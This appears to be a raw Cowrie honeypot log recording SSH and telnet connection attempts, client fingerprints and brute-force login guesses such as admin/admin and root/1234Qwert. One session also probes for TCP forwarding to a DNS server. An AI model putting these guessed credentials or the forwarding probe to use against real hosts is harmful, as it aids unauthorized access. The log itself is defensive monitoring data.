{"eventid":"cowrie.session.connect","src_ip":"176.53.159.196","src_port":5934,"dst_ip":"159.203.135.109","dst_port":22,"session":"8eb9ebe85d24","protocol":"ssh","message":"New connection: 176.53.159.196:5934 (159.203.135.109:22) [session: 8eb9ebe85d24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:48:51.813846Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:48:51.818200Z","src_ip":"176.53.159.196","session":"8eb9ebe85d24","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:48:51.914132Z","src_ip":"176.53.159.196","session":"8eb9ebe85d24","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:48:52.202036Z","src_ip":"176.53.159.196","session":"8eb9ebe85d24","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"176.53.159.196","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:48:52.300319Z","session":"8eb9ebe85d24","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:48:52.397027Z","src_ip":"176.53.159.196","session":"8eb9ebe85d24","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:48:52.494040Z","src_ip":"176.53.159.196","session":"8eb9ebe85d24","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.5.188","src_port":54952,"dst_ip":"159.203.135.109","dst_port":23,"session":"cf4ea8ccae34","protocol":"telnet","message":"New connection: 137.184.5.188:54952 (159.203.135.109:23) [session: cf4ea8ccae34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:48:54.343033Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.187.11","src_port":42766,"dst_ip":"10.17.0.5","dst_port":22,"session":"27ee506b0c48","protocol":"ssh","message":"New connection: 167.172.187.11:42766 (10.17.0.5:22) [session: 27ee506b0c48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:48:57.539027Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:48:57.546422Z","src_ip":"167.172.187.11","session":"27ee506b0c48","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:48:57.631940Z","src_ip":"167.172.187.11","session":"27ee506b0c48","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Linux2025","message":"login attempt [root/Linux2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:48:58.017138Z","src_ip":"167.172.187.11","session":"27ee506b0c48","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:48:59.103631Z","src_ip":"167.172.187.11","session":"27ee506b0c48","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.243.11.39","src_port":40110,"dst_ip":"10.17.0.5","dst_port":22,"session":"b69b71f3989e","protocol":"ssh","message":"New connection: 185.243.11.39:40110 (10.17.0.5:22) [session: b69b71f3989e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:49:20.893435Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:49:20.897612Z","src_ip":"185.243.11.39","session":"b69b71f3989e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:49:20.990505Z","src_ip":"185.243.11.39","session":"b69b71f3989e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.69342923164368,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:49:21.246112Z","src_ip":"170.64.224.25","session":"fc8ec4ef75ac","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"jaxxwallet","password":"jaxx123","message":"login attempt [jaxxwallet/jaxx123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:49:21.271910Z","src_ip":"185.243.11.39","session":"b69b71f3989e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:49:22.369967Z","src_ip":"185.243.11.39","session":"b69b71f3989e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":41378,"dst_ip":"159.203.135.109","dst_port":23,"session":"ce70d3facf7c","protocol":"telnet","message":"New connection: 170.64.224.25:41378 (159.203.135.109:23) [session: ce70d3facf7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:49:23.176977Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.5.188","src_port":58146,"dst_ip":"159.203.135.109","dst_port":23,"session":"c87d59e4d9a2","protocol":"telnet","message":"New connection: 137.184.5.188:58146 (159.203.135.109:23) [session: c87d59e4d9a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:49:24.829129Z"}
{"eventid":"cowrie.session.connect","src_ip":"223.17.1.118","src_port":44678,"dst_ip":"159.203.135.109","dst_port":22,"session":"48ec475225b2","protocol":"ssh","message":"New connection: 223.17.1.118:44678 (159.203.135.109:22) [session: 48ec475225b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:49:45.767961Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:49:45.772883Z","src_ip":"223.17.1.118","session":"48ec475225b2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:49:45.986430Z","src_ip":"223.17.1.118","session":"48ec475225b2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"xxxxxxxx","message":"login attempt [root/xxxxxxxx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:49:46.874006Z","src_ip":"223.17.1.118","session":"48ec475225b2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:49:48.089716Z","src_ip":"223.17.1.118","session":"48ec475225b2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":57466,"dst_ip":"159.203.135.109","dst_port":23,"session":"7eb7de55ba08","protocol":"telnet","message":"New connection: 170.64.224.25:57466 (159.203.135.109:23) [session: 7eb7de55ba08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:49:48.132889Z"}
{"eventid":"cowrie.session.closed","duration":56.730857610702515,"message":"Connection lost after 56 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:49:51.073767Z","src_ip":"137.184.5.188","session":"cf4ea8ccae34","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.248.201.12","src_port":55734,"dst_ip":"159.203.135.109","dst_port":22,"session":"e52276585b9e","protocol":"ssh","message":"New connection: 161.248.201.12:55734 (159.203.135.109:22) [session: e52276585b9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:49:51.390732Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:49:51.395208Z","src_ip":"161.248.201.12","session":"e52276585b9e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:49:51.650160Z","src_ip":"161.248.201.12","session":"e52276585b9e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234Qwert","message":"login attempt [root/1234Qwert] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:49:52.703986Z","src_ip":"161.248.201.12","session":"e52276585b9e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:49:53.961797Z","src_ip":"161.248.201.12","session":"e52276585b9e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":7.861282110214233,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:49:55.994083Z","src_ip":"170.64.224.25","session":"7eb7de55ba08","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.2972629070282,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:49:57.474121Z","src_ip":"170.64.224.25","session":"ce70d3facf7c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.820919036865234,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:50:00.649921Z","src_ip":"137.184.5.188","session":"c87d59e4d9a2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.86.88.212","src_port":59928,"dst_ip":"159.203.135.109","dst_port":22,"session":"14bf43f9e275","protocol":"ssh","message":"New connection: 167.86.88.212:59928 (159.203.135.109:22) [session: 14bf43f9e275]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:50:10.859689Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:50:10.863504Z","src_ip":"167.86.88.212","session":"14bf43f9e275","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:50:10.958668Z","src_ip":"167.86.88.212","session":"14bf43f9e275","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"q","message":"login attempt [root/q] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:50:11.359011Z","src_ip":"167.86.88.212","session":"14bf43f9e275","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:50:12.453984Z","src_ip":"167.86.88.212","session":"14bf43f9e275","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"223.197.186.7","src_port":60119,"dst_ip":"10.17.0.5","dst_port":22,"session":"80fad9915d06","protocol":"ssh","message":"New connection: 223.197.186.7:60119 (10.17.0.5:22) [session: 80fad9915d06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:50:31.383882Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:50:31.388848Z","src_ip":"223.197.186.7","session":"80fad9915d06","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:50:32.294365Z","src_ip":"223.197.186.7","session":"80fad9915d06","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":54372,"dst_ip":"10.17.0.5","dst_port":22,"session":"02bde8e0362b","protocol":"ssh","message":"New connection: 91.92.40.4:54372 (10.17.0.5:22) [session: 02bde8e0362b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:50:34.439675Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:50:34.443793Z","src_ip":"91.92.40.4","session":"02bde8e0362b","protocol":"ssh"}
